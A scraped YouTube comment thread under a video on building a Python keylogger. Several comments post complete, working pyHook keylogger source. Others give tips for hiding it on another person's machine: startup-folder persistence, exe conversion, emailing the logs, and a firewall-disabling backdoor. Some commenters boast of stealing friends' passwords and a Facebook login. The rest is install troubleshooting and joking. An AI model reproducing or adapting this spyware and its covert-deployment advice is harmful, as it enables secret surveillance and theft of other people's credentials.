How To Make A Simple Python Keylogger

แชร์
ฝัง
  • เผยแพร่เมื่อ 14 ธ.ค. 2024

ความคิดเห็น • 2.4K

  • @pawanbhatt314
    @pawanbhatt314 5 ปีที่แล้ว +330

    "Hack to learn, not to hack" - Great Dude

    • @vexanval
      @vexanval 4 ปีที่แล้ว +7

      Hacking is not programming

    • @francometallo215
      @francometallo215 4 ปีที่แล้ว +11

      @@vexanval It is, dumbfuck

    • @irshadtarsoo7734
      @irshadtarsoo7734 4 ปีที่แล้ว +9

      @@vexanval you need to know programming in order to write scripts to hack , else you'll only be a script kiddid

    • @irshadtarsoo7734
      @irshadtarsoo7734 4 ปีที่แล้ว +3

      kiddie*

    • @westernvibes1267
      @westernvibes1267 4 ปีที่แล้ว +2

      @@irshadtarsoo7734 not totally true. It's good to have knowledge about programming so *you can automate the process of Exploitation* , when it comes to pentesting always prefer tools written than companies and group of peoples who update them regularly and add new features. For example GDB. It's pretty dump to say if you can't write your own debugger you're a script kiddie that's how you sounds right now. Hacking from back in the days meant making a system or anything behave in a way it wasn't supposed to behave. It requires manipulating the network by going into it's deepest layers by understanding the bytes , breaking the executables, corrupting their memory and making them run your malicious script. But you should be able to write programs but it's totally fine if you don't belong from a programming background, you can use tools there's nothing to be ashamed of when the community itself wants to help and provide to those peoples. Sorry but hacking is not programming, but yeah it's good to have the knowledge for writing keyloggers and beacons for red teaming

  • @blindradio7634
    @blindradio7634 6 ปีที่แล้ว +388

    He forgot to say "For educational purposes only"

    • @astrallarium
      @astrallarium 5 ปีที่แล้ว +8

      F

    • @krappa1085
      @krappa1085 5 ปีที่แล้ว +26

      *FBI OPEN THE FUCKING DOOR!*

    • @beemo4
      @beemo4 5 ปีที่แล้ว +6

      What if it isnt

    • @sirpickljohn7691
      @sirpickljohn7691 5 ปีที่แล้ว +3

      _you have been banned_

    • @tahaafarooq
      @tahaafarooq 4 ปีที่แล้ว

      hahahaaaa

  • @shieldkeylogger4999
    @shieldkeylogger4999 9 ปีที่แล้ว +25

    I remember when I made my first keylogger using python.. I had a lot of fun writing it. However, now I have moved on to more native programming languages.. which can actually give a keylogger the stability and functionality it needs.

  • @aspe1213
    @aspe1213 8 ปีที่แล้ว +439

    no wix I don't need a fucking website now let me watch the video!

  • @augustopaiva9154
    @augustopaiva9154 8 ปีที่แล้ว +289

    Would be great if you explain what each line of the code was doing, i think would be better for who are learning. Great video thnx

    • @NarcatasCor
      @NarcatasCor 8 ปีที่แล้ว +3

      +Ankush Thakur Can you tell me where I can find the documentation?

    • @onee
      @onee 6 ปีที่แล้ว +6

      Follow The White Rabbit So, what's the point of learning C if you make everything 50 times harder?

  • @chemikalfluffy
    @chemikalfluffy 8 ปีที่แล้ว +74

    Make an in-depth tutorial. I want to know what each line of code does specifically.

    • @mrdoge97
      @mrdoge97 6 ปีที่แล้ว +1

      Sulaiman Adebayo whats ur phone number or icq let me talk to u

    • @Hitman1978
      @Hitman1978 6 ปีที่แล้ว +5

      This is where we're supposed to tell you to go read the DOCS. Each of those modules that were imported have some documentation that explain what they do. But alas, I imagine you don't got time for that?

    • @gideon5942
      @gideon5942 5 ปีที่แล้ว +1

      Josh Sells Guns codecademy exists

  • @matthewvanwinkle7631
    @matthewvanwinkle7631 7 ปีที่แล้ว +5

    This video is amazing! Well done! The music is a great match, the tutorial is hecka easy, and great commentary! I would love to see a follow up video!
    (Liked and subscribed)

  • @ManintheMakingPodcast
    @ManintheMakingPodcast 7 ปีที่แล้ว +9

    How would I send it through email to activate when someone opens an image?

  • @sidscott6064
    @sidscott6064 8 ปีที่แล้ว

    ive learned more about programming in 5 minuintes than i have in my whole 3 years of self research. your awesome

  • @_evillevi
    @_evillevi 6 ปีที่แล้ว +2

    These videos are great! I can't believe I didn't know about them five years ago!

  • @antonio0000x
    @antonio0000x 11 ปีที่แล้ว +22

    Everything is correct but my log file is still blank.

    • @MrImplicitly
      @MrImplicitly 11 ปีที่แล้ว +7

      Same Help!!

    • @Sedgehun
      @Sedgehun 7 ปีที่แล้ว

      Same

    • @technicalilm8999
      @technicalilm8999 7 ปีที่แล้ว

      same

    • @ezekiellopez2224
      @ezekiellopez2224 7 ปีที่แล้ว +1

      I am looking for an answer to this... It seems like it's not logging the Ascii text, rather blank spaces

    • @John_X_GR
      @John_X_GR 7 ปีที่แล้ว

      Guys, i dont know how to fix this, but it seems when you run the file inside idle or pycharm, it logs correctly the characters

  • @matthewmunger4724
    @matthewmunger4724 10 ปีที่แล้ว +7

    You should put all the links in the description.

  • @FabStat
    @FabStat 8 ปีที่แล้ว +4

    it works, but the txt only shows ASCII symbols?! how can i convert them?

  • @fantasdeck
    @fantasdeck 7 ปีที่แล้ว +1

    I have a couple of recommendations, though I needed this primarily to build an AutoCorrect database.
    You'll probably want words rather than individual characters to show up on each line, which means that you'll want to prevent "
    " from occurring with every keystroke, only after certain delimiters. Most have a set, but the most common are all major punctuation marks. It's probably use the re module for it, and just say something like re.sub("?P[...]", "
    " + (?P=delimiters), or something like that, if I recall correctly.
    Second, you'll probably want to save the format in UTF-8 rather than ASCII format, especially if you're like me and type in Chinese, as well.

  • @OhWord88
    @OhWord88 7 ปีที่แล้ว +1

    Just a heads up... I didn't have Python installed on my computer and I tried doing this with the 3.5 and 3.6 versions and it was giving me a lot of trouble.. Uninstalled both and downloaded the 2.7 Python version and it worked way better without giving me trouble.
    So yes, GO WITH THE 2.7, 32 BIT VERSION.
    pywin modules - sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
    pyhook (2.7, 32 bit version!) - sourceforge.net/projects/pyhook/files/latest/download?source=files
    Hope this helps.

  • @MrMegamovieman
    @MrMegamovieman 11 ปีที่แล้ว +5

    Maybe a stupid question. But i cant find the files where it is logged...

    • @akohagg
      @akohagg 11 ปีที่แล้ว

      Seriously, this is pissing me the fuck off

    • @Pod-Z
      @Pod-Z 11 ปีที่แล้ว +2

      it is in the 3rd line..unless you went to your C drive and made a folder named important ..its not being logged...if you wanted to save it to your desktop it would look something like this
      C:\Users\YOUR COMPUTERS NAME\Desktop

    • @akohagg
      @akohagg 11 ปีที่แล้ว

      Used a different one with devC++. Works perfectly.

  • @chocolatebleach2496
    @chocolatebleach2496 9 ปีที่แล้ว +685

    Lol and all those people who paid like £100 for theirs

    • @arlenreyes4283
      @arlenreyes4283 9 ปีที่แล้ว +23

      +OhhKillerZxD Free keyloggers exist my friend, not all are paid.

    • @AnotherVGP
      @AnotherVGP 8 ปีที่แล้ว +54

      But certain keyloggers are worth 100 pounds. You can either make a shitty keylogger or one that bypasses most, if not all security, works on every OS, organizes what gets logged in a readable manner, autosends it to you via mail or other, and makes itself practically undeletable unless you format by copying itself.

    • @arlenreyes4283
      @arlenreyes4283 8 ปีที่แล้ว +14

      Most of them don't bypass at all. Antivirus flag them right away soon or later.

    • @AnotherVGP
      @AnotherVGP 8 ปีที่แล้ว +5

      Ismael Arlen Reyes I never said most of them bypass, but the quality ones. Learn to read.

    • @arlenreyes4283
      @arlenreyes4283 8 ปีที่แล้ว +7

      Not even the quality ones. Paid Antivirus will likely detect them.

  • @truncus5776
    @truncus5776 8 ปีที่แล้ว +17

    how can i install the modules????

    • @JeaneAdix
      @JeaneAdix 8 ปีที่แล้ว +5

      use pip. open cmd as admin. run pip install

    • @Skeke
      @Skeke 8 ปีที่แล้ว

      When i type pip it does not reconigze as a command. What should I do?

    • @serguZESHT
      @serguZESHT 8 ปีที่แล้ว +1

      install pip first

    • @maximpavlenko1664
      @maximpavlenko1664 6 ปีที่แล้ว +1

      @@JeaneAdix NPC meme is dead

  • @renzocabarios3420
    @renzocabarios3420 9 ปีที่แล้ว

    One of the best tutorial it helped see more things than what i could see right now . This had given a perspective of programming

  • @ashwinpande7095
    @ashwinpande7095 3 ปีที่แล้ว

    I watched this video when I was an 11-year-old kid lmao. I struggled to understand much back then but this kind of stuff was what got me interested in programming.

  • @amitnayak7917
    @amitnayak7917 8 ปีที่แล้ว +4

    For some reason, This doesn't work for me. I am able to save and run the program that was made in IDLE, but its not showing the characters in the log file. Please Help

    • @SirajQazi1
      @SirajQazi1 8 ปีที่แล้ว +1

      same here bro! Plz help anyone as it shows random characters in log file!

    • @ditoo2002
      @ditoo2002 8 ปีที่แล้ว

      same thing happened to me i tried it on a game and i switched the profile and the only thing i understood was the word profile

  • @tmanswagg7342
    @tmanswagg7342 9 ปีที่แล้ว +19

    module: pyhook: sourceforge.net/projects/pyhook/files/latest/download?source=files
    import pyHook, pythoncom, sys, logging
    file_log = 'C:/keyloggeroutput.txt'
    def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    print("True")
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()

    • @SonnyWest87
      @SonnyWest87 9 ปีที่แล้ว +1

      +Timmy Spaeth Is there a ios version of 'pywin32', is the 'pyHook' module download also a win32 based module? I have the IDLE downloaded and i've placed other scripts in it, and they've ran, but im assuming the win32 module wont run through my apple OS. Maybe 'pyHook since it looks like a normal python file.

    • @evanc2185
      @evanc2185 8 ปีที่แล้ว

      +Jacob Westerfield
      pywin32 is a Windows OS interaction module. iOS is an Apple OS, not Windows OS.
      Sorry, but no.

    • @jordanb.7012
      @jordanb.7012 8 ปีที่แล้ว

      +Jacob Westerfield 32 sucks bro...

    • @Griimnak
      @Griimnak 8 ปีที่แล้ว

      +tmanswagg could try through pip
      cd ..
      cd ..
      cd Python27/Scripts
      python pip install pyHook

    • @djl1on641
      @djl1on641 7 ปีที่แล้ว

      youll need to put "C://" not "C:/" otherwise python wont recognize what your trying to do

  • @mason8335
    @mason8335 5 ปีที่แล้ว +8

    very cool! any tutorial on how to escape from federal agents?

    • @itamar_da_god5651
      @itamar_da_god5651 4 ปีที่แล้ว +1

      I'd watch out if I were you, lay a low profile for about 25 years so the NSA will forget about you

    • @mason8335
      @mason8335 4 ปีที่แล้ว

      @@itamar_da_god5651 it's too late man, the feds got me, I'm in prison for life rn.

    • @itamar_da_god5651
      @itamar_da_god5651 4 ปีที่แล้ว +1

      dang nabbit, those scoundrels! i'll show them who's boss! muhahaha - wait who's knocking on my doo - oh shit

  • @Retr-lf8hd
    @Retr-lf8hd 7 ปีที่แล้ว +1

    A good idea for a backdoor could be a TCP server/client based application. The server gets put in the C:\Windows\Program Files\(unsuspicious filename), with some malware and some sound files. The malware should not be too harsh, not to delete any files or corrupt anything, but just to be a troll. Then, after getting the IP address and writing it down, you copy a shortcut of the server.pyw file and put it in C:\Documents and Settings\All Users\Start Menu\Programs\Start Up, making it start up every time the computer boots, no matter the user that they pick, all you have to do is disable the firewall and go back to your computer, wait for them to boot the pc back on, type in the IP to the client, and access their computer. I don't recommend using it on someone you don't know or a public computer, because, that would require a DVD with Kali Linux installed on it, an intermediate knowledge of batch/DOS.

    • @bighairyfeet
      @bighairyfeet 2 ปีที่แล้ว

      Kali has an icognito setting that makes it look like windows, or use a virtual box

  • @MrComicallyBad
    @MrComicallyBad 9 ปีที่แล้ว

    I've tried everything and this still wont work. I think I am stuck with just installing the pyHook and pyWin32 because pyHook did not seem to even install anything. Also even if I did get pyHook to work the program closes immediately but also doesn't stay open in the task manager. Also, there is no text document getting created or even if I create one there is no text being logged. Please help, I must be stuck at a very early step.

  • @zackgrey4472
    @zackgrey4472 8 ปีที่แล้ว +9

    Do I have to create a log file or does the .pyw create one for me? Because when I execute the file no .txt files show up so im not sure what im doing wrong, thank you

    • @Jifae95
      @Jifae95 8 ปีที่แล้ว

      It creates one for you upon receiving the first keystrokes.

    • @1iMaGiiK1
      @1iMaGiiK1 8 ปีที่แล้ว +5

      You may want to use the keylogger that I have created, it is the same expect its made in c# so it dosnt need the user to have python installed, and it saves file to same folder as exe meaning it can be run on a USB.

    • @zackgrey4472
      @zackgrey4472 8 ปีที่แล้ว +1

      Interesting, mind adding me on skype to send me the script?

    • @AyushMandowara_xx7
      @AyushMandowara_xx7 8 ปีที่แล้ว

      File is created automatically and is stored in the location specified in filename = "location"
      logging.basicConfig(filename=f1,level=logging.DEBUG,format="%(message)s")
      here f1 is file location (f1 = 'C:\\imp\log3.txt' < in my program)

    • @zackgrey4472
      @zackgrey4472 8 ปีที่แล้ว +2

      Weird, I'm putting
      file_log = 'C:\\Users\\%USERNAME%\\Desktop\\Log.txt'
      and it isnt working....any ideas? When I double click it and type, no files pop up in my desktop, please help.

  • @meh15kids
    @meh15kids 10 ปีที่แล้ว +306

    Lol put this on my teachers computer 😂

    • @robbenfan1792
      @robbenfan1792 10 ปีที่แล้ว +6

      haha already got something?

    • @sn-vf1fr
      @sn-vf1fr 9 ปีที่แล้ว +154

      So, what's your teacher's favorite porn website?

    • @mattbeef1221
      @mattbeef1221 9 ปีที่แล้ว +98

      watch those c's turn into 0's when they find out

    • @ervinraduly8322
      @ervinraduly8322 9 ปีที่แล้ว +5

      Do any of you know what code makes the bat file run the script instead of open it?

    • @leontripp3387
      @leontripp3387 9 ปีที่แล้ว +31

      L Da No you're not, you're full of shit. Shut up, grow up, piss off.

  • @d.g.k.rrecords9287
    @d.g.k.rrecords9287 8 ปีที่แล้ว +21

    im executing the file and not getting a log file

    • @sohambiswas8865
      @sohambiswas8865 7 ปีที่แล้ว +1

      D.G.K.R Records disable ur anti virus

    • @amrojjeh
      @amrojjeh 6 ปีที่แล้ว +7

      +Soham Biswas That's not how it works. Anti-Viruses don't stop some functionality of the programs but keep it running, they will either completely stop the program or ignore it. If the log file is empty, then it's probably a bug in the code.

  • @mucgake8763
    @mucgake8763 7 ปีที่แล้ว

    if you want a *major* upgrade, code a socket server at home and have it running, it also needs to receive and print out what it received
    in the logger, make a client that sends every keystroke to the server
    now you have a very nice logger!

  • @SamvitAgarwal
    @SamvitAgarwal 7 ปีที่แล้ว

    This only records lowercase characters. Is there a way to make it detect the shift button and record uppercase and special characters?

  • @hristaki99
    @hristaki99 10 ปีที่แล้ว +7

    I've installed everything in order but I get this:
    raise ImportError("No system module '%s' (%s)" % (modname, filename))
    ImportError: No system module 'pywintypes' (pywintypes34.dll)

    • @Justin44777
      @Justin44777 7 ปีที่แล้ว +9

      im a bit late but ik how to fix it, you need to delete your system 32 and it will be fine.

    • @Justin44777
      @Justin44777 7 ปีที่แล้ว

      dude its a joke, u don't even need expirenece from computing, its just common sense so stop acting like ur a pro dev.

    • @Michael-ue2xv
      @Michael-ue2xv 7 ปีที่แล้ว

      I literally deleted every trace of python from my computer and started from scratch again and it still doesn't fix that error for me.

    • @PaulKnutsonSther
      @PaulKnutsonSther 7 ปีที่แล้ว

      You have to (or at least I had to) install pywintypes.
      Open cmd.exe and type:
      pip install pypiwin32

    • @adriannajera8013
      @adriannajera8013 7 ปีที่แล้ว

      just copy the path of pywintypes that is in python->Lib->site-packages->win32->lib and paste it in your system variables

  • @Bendrvry
    @Bendrvry 8 ปีที่แล้ว +15

    Put links in description man

  • @idomaman4758
    @idomaman4758 8 ปีที่แล้ว +4

    can i send it to somone? if yes how?

  • @kulgan96
    @kulgan96 8 ปีที่แล้ว

    some times i miss your older videos you seem a lot calmer

  • @dondef4140
    @dondef4140 7 ปีที่แล้ว

    Is it just me or does everyone else love this guy??! he doesn't have a face I'd like to punch. And he's not as pretentious as the other coding/hacking tutors out there. I'm hoping he's still active in doing vids

  • @TheDamdamas123
    @TheDamdamas123 10 ปีที่แล้ว +4

    I got pyhook and pywin32 but they aren't installation files what do I do?

    • @adetutuogunsowo7939
      @adetutuogunsowo7939 9 ปีที่แล้ว

      ***** stackoverflow.com/questions/21222114/how-do-i-install-python-libraries?answertab=votes#tab-top

    • @TheDamdamas123
      @TheDamdamas123 9 ปีที่แล้ว +1

      Thanks :)

    • @HHAugummi
      @HHAugummi 9 ปีที่แล้ว

      ***** get yourself pip (bootstrap.pypa.io/get-pip.py) and run it. then you can go into your Python/Scripts directory and there you can find "pip.exe". with that and the windows cmd you can install alsmost any module by just saying "pip install NAME", e.g. "pip install pyHOOK". It also allows you to uninstall the modules clean and safe...

    • @TheUniksniper
      @TheUniksniper 7 ปีที่แล้ว

      thanks!

  • @gabrieldlucacn
    @gabrieldlucacn 8 ปีที่แล้ว +29

    Do I need the modules installed on the target computer (the computer that I want to inject the code)

    • @ethanwickline5162
      @ethanwickline5162 8 ปีที่แล้ว +4

      ^^^ yeah... how is that supposed to work?

    • @sfm4life613
      @sfm4life613 8 ปีที่แล้ว +1

      yes

    • @felixh7699
      @felixh7699 8 ปีที่แล้ว

      Where do I have to save the Modules in order to make the programm working? I saved them in my Downloads folder and it didn't work.

    • @sfm4life613
      @sfm4life613 8 ปีที่แล้ว

      i would imagine that you would need python and the modules which you should be able o just install per usual

    • @DjLukeoum
      @DjLukeoum 8 ปีที่แล้ว +8

      look at py2exe

  • @totnottac
    @totnottac 8 ปีที่แล้ว +3

    Hi i know im a bit late but i get this error: File ".\keylogtest.pyw", line 7
    chr(event.Ascii)
    ^
    SyntaxError: invalid syntax
    Does anyone know whats going on? I cant seem to find the problem.

    • @Chimperly
      @Chimperly 8 ปีที่แล้ว

      yeah looks like you have a syntax mistake in line 7 haha, are you sure you copied everything correctly?

    • @totnottac
      @totnottac 8 ปีที่แล้ว

      i think so i checked three times

    • @Yashuu96
      @Yashuu96 8 ปีที่แล้ว +2

      You may not have closed the parenthesis in the previous line.
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)')

    • @totnottac
      @totnottac 8 ปีที่แล้ว

      thanks i'll look into that when I'm back at pc

  • @Anon-tj7qb
    @Anon-tj7qb 9 ปีที่แล้ว +1

    The next thing to do with this would be to use py to exe. Which converts python programs to exe programs. This would ensure that where you place the keylogger you don't need python installed on the machine. :)

  • @5kulfire
    @5kulfire 7 ปีที่แล้ว +1

    Where to save?
    Any specific place??

  • @zekiimfx.4641
    @zekiimfx.4641 7 ปีที่แล้ว +5

    I have a problem with log.txt
    If i make it, doesn't work
    If i don't make it, doesn't make automatic

    • @Sedgehun
      @Sedgehun 7 ปีที่แล้ว

      Same!

    • @basilhaj-yehia4240
      @basilhaj-yehia4240 6 ปีที่แล้ว

      the only way i was able to do it is by going to my python Idle and clicking open then selecting the file and then clicking run and then "run module"

  • @HHAugummi
    @HHAugummi 9 ปีที่แล้ว +6

    *HOW TO GET pyHOOK*
    some people may have the problem on not knowing how to get pyHOOK,
    so here is the solution:
    grab this file: bootstrap.pypa.io/get-pip.py and then save it somewhere and run it. It will install you PIP. then you go to your Python Directory and in the "scripts" folder you may find a "pip.exe". now you just need to open up the CMD there (startmenu-search for "cmd", then type in "cd" then a space and then the directory where python/scripts/pip.exe is).
    Then type in (into the cmd again) "pip install pyhook". And then you're DONE! finding that solution took me about 2 hours so please ask if you didnt get something yet.

    • @brutus-inter-pares
      @brutus-inter-pares 9 ปีที่แล้ว +1

      haugummi LP C\...\>pip install pyhook
      Collecting pyhook
      Could not find a version that satisfies the requirement pyhook (from versions
      )
      Some externally hosted files were ignored as access to them may be unreliable
      (use --allow-external pyhook to allow).
      No matching distribution found for pyhook
      i have python 3.5 on windows 7 64 bit, should i install some older python version aswell or what should i do ???

    • @HHAugummi
      @HHAugummi 9 ปีที่แล้ว

      Whitehead
      i got 3.3 and it works for me...
      i dunno what to do though :D

    • @maryvest540
      @maryvest540 9 ปีที่แล้ว +1

      How I can install pywin32
      This video is very hard to understand

    • @maryvest540
      @maryvest540 9 ปีที่แล้ว +2

      It doesn't work
      Did I just download the virus
      I mean that can be your key logger
      I deleted faster

    • @Malonomy
      @Malonomy 9 ปีที่แล้ว

      +Haugummi I could get pyHook, but not pyWin, any idea on how to install it please ?

  • @kounter8083
    @kounter8083 8 ปีที่แล้ว +525

    thanks found out my sisters boyfriend was cheating on her and got onto his facebook

  • @Reddualshock
    @Reddualshock 8 ปีที่แล้ว +2

    I tested this by sending it to my other email and downloading it on another computer is there a way of viewing keystrokes from another computer all together?

  • @shay3355
    @shay3355 5 ปีที่แล้ว

    bro, you did it...you earned a subscriber...

  • @thatwaff1e606
    @thatwaff1e606 9 ปีที่แล้ว +6

    How do you test it

    • @hexrex1108
      @hexrex1108 9 ปีที่แล้ว +1

      +That Waff1e import pyHook, pythoncom, sys, logging
      file_log = 'C:/log.txt'
      def OnKeyboardEvent(event):
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
      chr(event.Ascii)
      logging.log(10,chr(event.Ascii))
      return True
      hooks_manager = pyHook.HookManager()
      hooks_manager.KeyDown = OnKeyboardEvent
      hooks_manager.HookKeyboard()
      pythoncom.PumpMessages()

  • @modestmanchild9200
    @modestmanchild9200 8 ปีที่แล้ว +4

    I am very late here.
    However, I have written out all of the code, and installed pywin32 and pyHook for version 2.7.5 with python version 2.7.5.
    However whenever I click the program once saved it says the following: ( screenshot )
    gyazo.com/37ff56741f3a55b049d7349d6dd9b9ef

    • @modestmanchild9200
      @modestmanchild9200 8 ปีที่แล้ว

      Pls help

    • @joshmurphy3887
      @joshmurphy3887 8 ปีที่แล้ว

      TrueChaos whats the link to module download

    • @mitchell2719
      @mitchell2719 8 ปีที่แล้ว +1

      Ran into this issue recently at work. Uninstall, and then reinstall python 2.7.12 (it's good practice to stick to the most recent patch of whatever minor version you're using). Then, make sure that you include the 'pip' package manager in your PATH. If pip is failing, you can download wheels from www.lfd.uci.edu/~gohlke/pythonlibs/, and then target them with 'pip install'.

    • @modestmanchild9200
      @modestmanchild9200 8 ปีที่แล้ว +1

      Fixed already but thanks

    • @savannah2323
      @savannah2323 8 ปีที่แล้ว +1

      How did you fix it? I have run into the same issue.

  • @opskins8034
    @opskins8034 8 ปีที่แล้ว +4

    Is there any way I can make it a link so I can send it to my friend so when he types stuff in it emails it to me or send it to me?

    • @parthmadan5485
      @parthmadan5485 5 ปีที่แล้ว

      Sure.
      Check out GitHub for such keyloggers

  • @ceracera2254
    @ceracera2254 9 ปีที่แล้ว +1

    that's just awesome! so helpful for me that i'm just in the begining of learnining! thank you so much,people like u we need in youtube

  • @PakontaRaptor
    @PakontaRaptor 7 ปีที่แล้ว +2

    Wix is the Tai Lopez of programming tutorials.

  • @plutaoopequenoplaneta1428
    @plutaoopequenoplaneta1428 6 ปีที่แล้ว +11

    thank you for explaining everything so well
    I understood everything that was done haha
    haha
    ha
    dude plz explain stuff more clearly

  • @SergeantVin
    @SergeantVin 8 ปีที่แล้ว +5

    Where is the data outputted?

    • @Gaviathan
      @Gaviathan 8 ปีที่แล้ว +1

      +Sergeant Vin Anywhere you want it to, the line that says
      file_log = "C:\\AnywhereYouWantItTo\\YourData.txt"

    • @SexualPotatoes
      @SexualPotatoes 8 ปีที่แล้ว

      It's logged in the txt file

    • @renaissauceman
      @renaissauceman 8 ปีที่แล้ว

      Name checks out.

    • @landro3552
      @landro3552 6 ปีที่แล้ว

      it won't be outputted for me

  • @Draganko123
    @Draganko123 10 ปีที่แล้ว +19

    Nice! I'll add my EVIILL PLANS TO THIS! MUAHAHAHAHHAHAHAHAHAHAHHA!

    • @ScareyoHexir
      @ScareyoHexir 9 ปีที่แล้ว

      Draganko123... to take over the world XD u cant get me im checking the processes running every startup and i have malwawrebytes anti malware premium and norton (i know norton sucks) XD

    • @Draganko123
      @Draganko123 9 ปีที่แล้ว

      Hampus Gaming (H Channel) You think that will save you? You do know that task manager can be exploited as well! :P Norton does suck :P Malwarebytes is good though!

    • @ScareyoHexir
      @ScareyoHexir 9 ปีที่แล้ว

      Draganko123 ima wait until norton expires and use windows 8 defender it has been so much improved sience last windows defender

    • @jay-hb7el
      @jay-hb7el 6 ปีที่แล้ว

      Do you need to shut up? No? You should. smh.

  • @tarunbirgambhir3627
    @tarunbirgambhir3627 6 ปีที่แล้ว

    this program doesnt take input of special characters that require (shift key + numerical) input. it just takes the numerical part in the log. How can the program be changed to include multiple key input strokes?

  • @n0gal981
    @n0gal981 10 ปีที่แล้ว

    On your dekstop 3:27 there is a NotePad file but how did u get it? U saved it as a launch.bat and mine doesnt look like that? And when u go to the Internet Explorer and u go to the gmail and u press the notepad u can see all the info? But how? Because i want to make a keylogger on steam.

  • @awesomeamazing5752
    @awesomeamazing5752 9 ปีที่แล้ว +22

    Just managed to make it send me a email with the keylogs when the pc shuts down. Python is awesome. I can now find out any of my friends passwords.

    • @Shadow77999
      @Shadow77999 6 ปีที่แล้ว +1

      lol no u didnt

  • @ImTheBatchMan
    @ImTheBatchMan 10 ปีที่แล้ว +6

    Why is this music on every single one of your videos? I feel like someone is taking a shit on my soul when I hear it.

  • @nitihngupta
    @nitihngupta 10 ปีที่แล้ว +5

    unable to find log.txt file

    • @Sedgehun
      @Sedgehun 7 ปีที่แล้ว +1

      yes

  • @shadidhaque1009
    @shadidhaque1009 9 ปีที่แล้ว +1

    what if you want the keystrokes sent to a google doc or a ftp. How would you do it

  • @CapitalCircleNW
    @CapitalCircleNW 9 ปีที่แล้ว

    Question: When you are trying to change the internet explorer shortcut to run the batch file, what is the code that you use? I cannot see it.

  • @psynomad4108
    @psynomad4108 10 ปีที่แล้ว +4

    My zemana anti logger program works lol it puts random shit in the file :)

  • @DecidelyUnethical
    @DecidelyUnethical 10 ปีที่แล้ว +4

    Help, someone.
    import pyHook, pythoncom, sys, logging
    file_log = 'C:\\Users\\User\\Documents\\log.txt'
    def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages()
    The error is: Invalid character in identifier. Idk what i've done wrong!

    • @Super123456789nick
      @Super123456789nick 6 ปีที่แล้ว +1

      Error2147483647 try to import like this
      import pyHook
      import pythoncom
      ... Same as all

  • @GuerreroMisterioso95
    @GuerreroMisterioso95 10 ปีที่แล้ว +8

    That code is outdated and too fancy. This is an easier, cleaner and updated code:
    import pythoncom, pyHook
    def OnKeyboardEvent(event):
    global keylog
    keylog = chr(event.Ascii)
    with open('DATA.txt', 'a') as f:
    f.write(keylog)
    f.close()
    return True
    if __name__=='__main__':
    hook_manager = pyHook.HookManager()
    hook_manager.KeyDown = OnKeyboardEvent
    hook_manager.HookKeyboard()
    pythoncom.PumpMessages()

    • @GuerreroMisterioso95
      @GuerreroMisterioso95 10 ปีที่แล้ว

      I'm working on that. But I'm pretty sure that you will need the smtp module, already included in Python.

    • @GuerreroMisterioso95
      @GuerreroMisterioso95 10 ปีที่แล้ว

      Does your target machine has Python and the Pyhook/Win32 modules installed?

    • @johnmandark6391
      @johnmandark6391 10 ปีที่แล้ว

      where you need to put your text file path in that code??

    • @GuerreroMisterioso95
      @GuerreroMisterioso95 10 ปีที่แล้ว

      It's not needed because the file with the keystrokes log will be created in the same path where you have the script.

    • @ernstwigmann829
      @ernstwigmann829 10 ปีที่แล้ว

      then add them, email modules to make it fun Lulz :)

  • @manuelretamozo9278
    @manuelretamozo9278 6 ปีที่แล้ว +1

    Great ! What's name musik background?

  • @DonGarraldo
    @DonGarraldo 7 ปีที่แล้ว

    What are the modules needed to interact with OSx 10.11.06?

  • @ZuzuTyp
    @ZuzuTyp 10 ปีที่แล้ว +104

    In my opinion, this is a very bad tutorial.
    As I am watching your script, you just copied it from the internet, because there are 2 things, that are not needed in your script, like the "chr(event.Ascii)" line and the "return True" line, because they have no use.
    Also it is very hard to keep up with you, because the text is displayed so fast, that you have to stop the video regularly.
    Appended to this, there is no prepared file (containing the script), that you could download, when you have problems with your script.
    The download linkt to the extensions wouldn't be a bad idea, to put in the description, would it?
    The only thing that I can see, that it must have taken you a lot of time, to create all the effects, that are in the video.
    You should try to make it easier for the users, to understand, what you are showing in your tutorial.
    (don't tell, I should too)
    However, please don't answer on this post.

    • @ZuzuTyp
      @ZuzuTyp 10 ปีที่แล้ว +3

      Simon WoodburyForget
      MORE!
      xD
      I mean, really, there are lots of better ways to do this...
      But however, the graphics of this video are quite good!

    • @bazardnubis7723
      @bazardnubis7723 10 ปีที่แล้ว

      Zuzu Typ I agree with you

    • @HHAugummi
      @HHAugummi 9 ปีที่แล้ว

      *****
      of cause it is

    • @yungshiesty5875
      @yungshiesty5875 6 ปีที่แล้ว

      Can you help make me one please ? I want to mess with my friend

    • @ZeroOverflow
      @ZeroOverflow 6 ปีที่แล้ว +2

      You're actually wrong pal. When you hook to an event in windows you have to return a Bool value to the windows hook manager. and the chr(event.Ascii) is the one which actually gets the key pressed, like when a key is pressed for example A then the Ascii value would be 42(I guess so) and that number is converted to the alphabet so its required. for more information read the msdn page of microsoft about hooking to windows events

  • @viashadow1515
    @viashadow1515 8 ปีที่แล้ว +84

    I just learned how to hack in 5 minutes

    • @Calypp0
      @Calypp0 8 ปีที่แล้ว +129

      no you didn't

    • @FreeAmericaFromAIPAC
      @FreeAmericaFromAIPAC 8 ปีที่แล้ว +45

      u learned a* hack , not how to hack .... big difference buddy

    • @SexySnorlax
      @SexySnorlax 8 ปีที่แล้ว +26

      no this isnt hacking you use a code written by someone else to hack peeps
      learn to program

    • @viashadow1515
      @viashadow1515 8 ปีที่แล้ว +28

      hey guys I was joking lmao. I know hes not teaching people to hack. guess I need to work on my sarcasm?

    • @Calypp0
      @Calypp0 8 ปีที่แล้ว +4

      Kinda xD

  • @evangabbard4433
    @evangabbard4433 9 ปีที่แล้ว +1

    How do you make it log for Mac users such as myself? I have the program working but the last step about attaching it to a file cannot be done in the same way on OS X. Please help!

  • @nacityishere9111
    @nacityishere9111 7 ปีที่แล้ว +1

    to start the script with out the person knowing you can put it in the shell:startup folder simple press ctrl + r
    from the run window then in the box type shell:startup and put the keylogger in the folder and it will start automatically when they start the computer

